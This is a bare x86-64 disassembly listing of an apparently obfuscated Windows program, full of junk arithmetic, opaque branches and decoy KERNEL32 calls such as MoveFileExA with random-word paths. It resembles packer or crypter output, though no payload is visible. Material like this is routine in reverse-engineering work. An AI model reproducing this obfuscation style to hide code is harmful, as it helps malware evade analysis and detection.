mov dword [rsp + 0x3af8], eax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
or eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movsx eax, word [rsp + 0xc08]
add eax, 0x445
mov word [rsp + 0xc08], ax
jmp 0x14000255c
lea r9, [rsp + 0x69b0]
mov r8d, 0x54
lea rdx, [rsp + 0xc08]
mov rcx, qword [rsp + 0x69d0]
call qword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
mov dword [rsp + 0x3aec], eax
cmp dword [rsp + 0x3ae4], 0x8f8d
jb 0x140002667
movzx eax, byte [rsp + 0x40]
and eax, 0x4b
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3abc]
mov dword [rsp + 0x3af0], eax
movzx eax, byte [rsp + 0x40]
sub eax, 0xf
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x41]
add eax, 0x79
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x3af0]
mov ecx, dword [0x14017a4d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3abc], eax
mov eax, dword [rsp + 0x3ae4]
sub eax, 0xd8
mov dword [rsp + 0x3ae4], eax
movsx eax, word [rsp + 0xc08]
add eax, 0x655
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
sub eax, 0x69
mov byte [rsp + 0x40], al
movzx eax, word [rsp + 0xc0c]
and eax, 0xa14
mov word [rsp + 0xc10], ax
mov eax, dword [rsp + 0x3abc]
mov ecx, dword [rsp + 0x3af0]
or ecx, eax
mov eax, ecx
mov dword [0x14017a4d0], eax
jmp 0x14000255c
lea rax, [rsp + 0xc08]
mov qword [rsp + 0x69d8], rax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
xor eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sar eax, cl
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
shl eax, cl
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc08]
sub eax, 0x2c2
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc0c]
add eax, 0xcca
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
and eax, 0x5d
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x41]
sub eax, 0x5b
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x3af0]
mov ecx, dword [rsp + 0x3abc]
add ecx, eax
mov eax, ecx
mov dword [0x14017a4d0], eax
movabs rax, 0x756863909a7524
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x40]
add eax, 0x20
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
sub eax, 0xa7
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x41]
sub eax, 0x66
mov byte [rsp + 0x41], al
movsx eax, byte [rsp + 0x41]
sub eax, 0x4f
mov byte [rsp + 0x41], al
movzx eax, word [rsp + 0xc0c]
add eax, 0x515
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
shl eax, 5
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
or eax, 0x465
mov word [rsp + 0xc08], ax
mov eax, dword [section..data]
shr eax, 9
mov dword [section..data], eax
mov eax, dword [rsp + 0x3ae0]
sub eax, 0xd8
mov dword [rsp + 0x3ae0], eax
movzx eax, byte [rsp + 0x40]
xor eax, 0x1e
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x40]
and eax, 0x3f
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x40]
add eax, 0x43
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x3af0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3abc], eax
cmp dword [rsp + 0x3ae0], 0x722a
ja 0x140002677
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x69e0], rax
mov dword [rsp + 0x3afc], 0xed71
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
add eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x3abc]
mov ecx, dword [rsp + 0x3af0]
sub ecx, eax
mov eax, ecx
mov dword [0x14017a4d0], eax
movsx eax, byte [rsp + 0x41]
sub eax, 9
mov byte [rsp + 0x41], al
movabs rax, 0x77018bdae33ee6
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x7ab0d66a616139
mov rcx, qword [rsp + 0x69b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
xor eax, 0xe7
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sar eax, cl
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc10]
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
shl eax, cl
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
add eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
sub eax, 0x5c
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x41]
add eax, 0x23
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
add eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc08]
and eax, 0x38a
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
add eax, 0xd5
mov byte [rsp + 0x40], al
mov eax, dword [section..data]
xor eax, 0x1b40
mov dword [section..data], eax
mov eax, dword [rsp + 0x3ab8]
add eax, 0x42
mov dword [rsp + 0x3ab8], eax
movsx eax, word [rsp + 0xc08]
sar eax, 0xa
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
shl eax, cl
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
or eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
cmp dword [rsp + 0x3ab8], 0x3ed9
jb 0x14000288f
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x42], al
mov dword [rsp + 0x3b00], 0xd0cc
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc10], ax
mov eax, dword [rsp + 0x3af0]
mov ecx, dword [rsp + 0x3abc]
add ecx, eax
mov eax, ecx
mov dword [0x14017a4d0], eax
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x42]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movabs rax, 0x7ba276e520d360
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
add eax, ecx
mov word [rsp + 0xc0c], ax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x3abc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
shl eax, 3
mov word [rsp + 0xc08], ax
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0xc10]
xor eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sar eax, cl
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x3ad8]
add eax, 0x80
mov dword [rsp + 0x3ad8], eax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
or eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movabs rax, 0x7a0bce7085394d
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movabs rax, 0x773b490abfd151
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x3abc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3af0], eax
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x40], al
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
add eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x41]
and eax, 9
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
shl eax, cl
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movsx eax, word [rsp + 0xc08]
xor eax, 0x28d
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
cmp dword [rsp + 0x3ad8], 0xb1bb
jne 0x140002b89
mov eax, dword [rsp + 0x3af0]
mov dword [rsp + 0x3b04], eax
cmp dword [rsp + 0x3b04], 0x41d9
je 0x140002eb7
cmp dword [rsp + 0x3b04], 0x5f6f5035
je 0x140002e2b
jmp 0x140002fba
movsx eax, word [rsp + 0xc08]
cdq
mov ecx, 0x641
idiv ecx
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
cmp eax, ecx
jge 0x140002e88
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x40]
sar eax, cl
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
cmp eax, ecx
jne 0x140002e7b
mov rdx, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x69b0]
call fcn.14015f630
nop
mov dword [rsp + 0x3b08], 0xb158
jmp 0x140002eb2
movsx eax, byte [rsp + 0x41]
cmp eax, 0x45
jl 0x140002eb2
movabs rax, 0x787924601110e7
mov rcx, qword [rsp + 0x69b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
jmp 0x140002fba
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
add eax, 0x157
movsx ecx, word [rsp + 0xc08]
cmp eax, ecx
jl 0x140002f41
lea rax, [rsp + 0x69b8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x3b0c]
mov r8d, 0x32
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x69c8]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov dword [rsp + 0x3aec], eax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc10], ax
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x3b10], al
cmp byte [rsp + 0x3b10], 0x30
je 0x140002f59
jmp 0x140002f75
mov r8d, 0xf8
mov edx, dword [section..data]
movzx ecx, word [rsp + 0xc10]
call fcn.14015ec30
nop
jmp 0x140002fba
mov rax, qword [rsp + 0x69e8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x69f0]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, qword [rsp + 0x69f8]
mov rdx, qword [rsp + 0x6a00]
mov rcx, qword [rsp + 0x6a08]
call qword [sym.imp.KERNEL32.dll_SearchPathA]
mov dword [rsp + 0x3b14], eax
movzx eax, word [rsp + 0xc0c]
mov word [rsp + 0xc14], ax
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x43], al
mov dword [rsp + 0x3b18], 0xf897
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b1c], al
cmp byte [rsp + 0x3b1c], 0
je 0x140002ffc
jmp 0x14000304b
lea rax, [rsp + 0x42]
mov qword [rsp + 0x6a10], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov word [rsp + 0xc0c], ax
lea rax, [rsp + 0xc08]
mov qword [rsp + 0x6a18], rax
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0x6a20], rax
jmp 0x1400030cc
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x3b20], al
cmp byte [rsp + 0x3b20], 0x46
je 0x1400030ab
cmp byte [rsp + 0x3b20], 0x4a
je 0x14000306d
jmp 0x1400030cc
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
jmp 0x1400030cc
mov r8d, 0x70
lea rdx, str.C:MooringPursuanceGreenish
lea rcx, str.C:Mildergandhi_attestsNiecesSummonsing
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
mov dword [rsp + 0x3ad4], eax
cmp dword [rsp + 0x3afc], 0x13f25
jae 0x14000339f
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xc0c]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3b14]
and eax, 0xc3f6
mov dword [section..data], eax
movsx eax, byte [rsp + 0x43]
sar eax, 4
mov byte [rsp + 0x41], al
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0xc10]
or eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov eax, dword [0x14017a4d0]
movzx ecx, al
mov eax, dword [rsp + 0x3af0]
shl eax, cl
mov dword [rsp + 0x3abc], eax
mov eax, dword [section..data]
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x6a20]
movabs rcx, 0x759396e7398118
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x69b0], rax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x3abc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3af0], eax
mov eax, dword [rsp + 0x3afc]
add eax, 0xfc
mov dword [rsp + 0x3afc], eax
movsx eax, byte [rsp + 0x43]
add eax, 0x55
mov byte [rsp + 0x41], al
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x3abc]
mov ecx, dword [rsp + 0x3af0]
add ecx, eax
mov eax, ecx
mov dword [0x14017a4d0], eax
movzx eax, word [rsp + 0xc10]
movzx ecx, word [rsp + 0xc0c]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov eax, dword [section..data]
add eax, 0xc8f6
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x6a20]
movabs rcx, 0x74ad307884fa0f
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x69b0], rax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x43]
sar eax, 5
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x40]
or eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
xor eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a20]
movabs rcx, 0x71797fe33ba18e
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
jmp 0x1400030cc
lea rax, [rsp + 0x3af0]
mov qword [rsp + 0x6a28], rax
mov rax, qword [rsp + 0x69b0]
mov qword [rsp + 0x6a30], rax
movabs rax, 0x7de37ee35237d3
cmp qword [rsp + 0x6a30], rax
je 0x1400033d5
jmp 0x140003418
mov eax, dword [section..data]
add eax, 0xda2b
mov dword [rsp + 0x3b14], eax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x41]
add eax, 0x54
mov byte [rsp + 0x43], al
jmp 0x140003548
movsx eax, byte [rsp + 0x43]
sub eax, 0x1e
movsx ecx, byte [rsp + 0x41]
cmp eax, ecx
jg 0x1400034f8
mov eax, dword [rsp + 0x3af0]
mov dword [rsp + 0x3b24], eax
cmp dword [rsp + 0x3b24], 0x14ed5015
je 0x14000344d
jmp 0x1400034e0
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x6a38], rax
mov eax, dword [rsp + 0x3b14]
mov dword [rsp + 0x3b28], eax
cmp dword [rsp + 0x3b28], 0xa79e
je 0x140003487
cmp dword [rsp + 0x3b28], 0x149da
je 0x1400034d1
jmp 0x1400034de
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov word [rsp + 0x20], 0x4d
mov r9d, 0x65
lea r8, [rsp + 0x20038]
mov edx, 0x5b
mov ecx, LBItemFromPt
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
mov dword [rsp + 0x3b2c], eax
jmp 0x1400034de
lea rax, [rsp + 0x42]
mov qword [rsp + 0x6a40], rax
jmp 0x1400034f6
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x40], al
jmp 0x14000353d
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
cmp eax, ecx
jge 0x14000353d
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov dword [rsp + 0x3b30], 0x711c
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov dword [rsp + 0x3b34], eax
movabs rax, 0x78cbc6e195557c
mov qword [rsp + 0x6a50], rax
mov dword [rsp + 0x3b38], 0x6d5e
lea rax, [rsp + 0x41]
mov qword [rsp + 0x6a58], rax
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0xc10]
sar eax, cl
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x6a60], rax
cmp qword [rsp + 0x6a60], 0
je 0x1400035eb
movabs rax, 0x7679a5895a1bea
cmp qword [rsp + 0x6a60], rax
je 0x14015e9d2
jmp 0x14015ea09
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [rsp + 0x43]
cmp eax, ecx
jl 0x14015e732
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov dword [rsp + 0x3b3c], eax
cmp dword [rsp + 0x3b3c], 0x5d58
je 0x14000363e
cmp dword [rsp + 0x3b3c], 0x14ed5015
je 0x1400036e4
jmp 0x14015e70d
mov eax, dword [rsp + 0x3b14]
mov dword [rsp + 0x3b40], eax
cmp dword [rsp + 0x3b40], 0x5b5e
je 0x14000365b
jmp 0x1400036cd
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc0c]
sub eax, ecx
mov word [rsp + 0xc14], ax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x84
lea r9, [rsp + 0x6a10]
lea r8, [rsp + 0x69e0]
lea rdx, str.C:UndiscoveredNotationallyExpeditesLorryload
lea rcx, str.C:capturedAsiansGorgeous
call qword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
mov dword [rsp + 0x3b44], eax
jmp 0x1400036df
mov eax, dword [section..data]
sub eax, 0x6f1a
mov dword [rsp + 0x3b14], eax
jmp 0x14015e70d
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
cmp eax, ecx
jl 0x1400037b9
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x3b48], al
cmp byte [rsp + 0x3b48], 0
je 0x140003731
cmp byte [rsp + 0x3b48], 0x62
je 0x140003777
jmp 0x1400037b7
mov eax, dword [rsp + 0x3abc]
mov dword [rsp + 0x3b4c], eax
mov rax, qword [rsp + 0x69b0]
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x6a50]
mov qword [rsp + 0x6a70], rax
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x44], al
lea rax, [rsp + 0x43]
mov qword [rsp + 0x6a78], rax
jmp 0x1400037b7
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
jmp 0x1400037cf
mov rdx, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x6a68]
call fcn.14015f630
nop
mov dword [rsp + 0x3b50], 0x5bf6
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x3b2c]
mov ecx, dword [rsp + 0x3abc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a70]
shl rax, 0x36
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x6a48]
movzx ecx, al
mov rax, qword [rsp + 0x6a68]
shr rax, cl
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x6a68]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc0c], ax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x43]
add eax, ecx
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc08], ax
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40], al
mov eax, dword [section..data]
sub eax, 0x5d4b
mov dword [rsp + 0x3b14], eax
mov eax, dword [rsp + 0x3b2c]
mov ecx, dword [rsp + 0x3af0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3abc], eax
movabs rax, 0x78b03081048eb3
mov rcx, qword [rsp + 0x6a50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x6a48]
sub rcx, rax
mov rax, rcx
